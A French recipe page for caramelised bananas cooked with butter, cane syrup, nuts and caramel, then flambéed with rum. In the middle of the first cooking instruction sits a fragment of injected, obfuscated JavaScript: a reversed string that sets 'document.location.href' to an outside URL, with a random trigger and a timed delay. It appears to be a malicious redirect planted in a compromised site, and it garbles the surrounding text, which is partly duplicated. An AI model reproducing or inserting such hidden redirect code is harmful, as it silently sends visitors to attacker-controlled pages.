Bananes caramélisées
2021-06-08- Thématique : Végétarien
- Niveau : Difficile
Pelez, coupez en deux les bananes dans le sens de la longueur.
Dans une poêle avec 75 g de beurre, sur feu vif, faites-les colorer en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant délicatement. Versez le ½ verre d’eau et de sirop de canne.
Ingrédients
Pelez, coupez en deux les bananes dans le sens de la longueur.
Dans une poêle avec 75 g de beurre, sur feu vif, faites-les colorer en les retournant délicatement. Versez le ½ verre d’eau et de sirop de canne.
Fermez la cocotte et laissez cuire pendant 2 minutes sur feu moyen. Retirez les bananes.
Dans la même cocotte, avec le beurre restant, les graines de sésame, les noix, les pignons de pin et 5 cl de caramel liquide. Laissez cuire quelques instants, le temps que le caramel liquide prenne. Déposez à nouveau les bananes dans la cocotte, tournez-les souvent sans les casser, en ajoutant petit à petit le caramel restant. Présentez les bananes dans un plat de service. Flamber au rhum. Et dégustez rapidement
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette
Related Recipes:
-
Pizza aux fruits d’été
-
Gratin de potiron
-
Dip avocat thon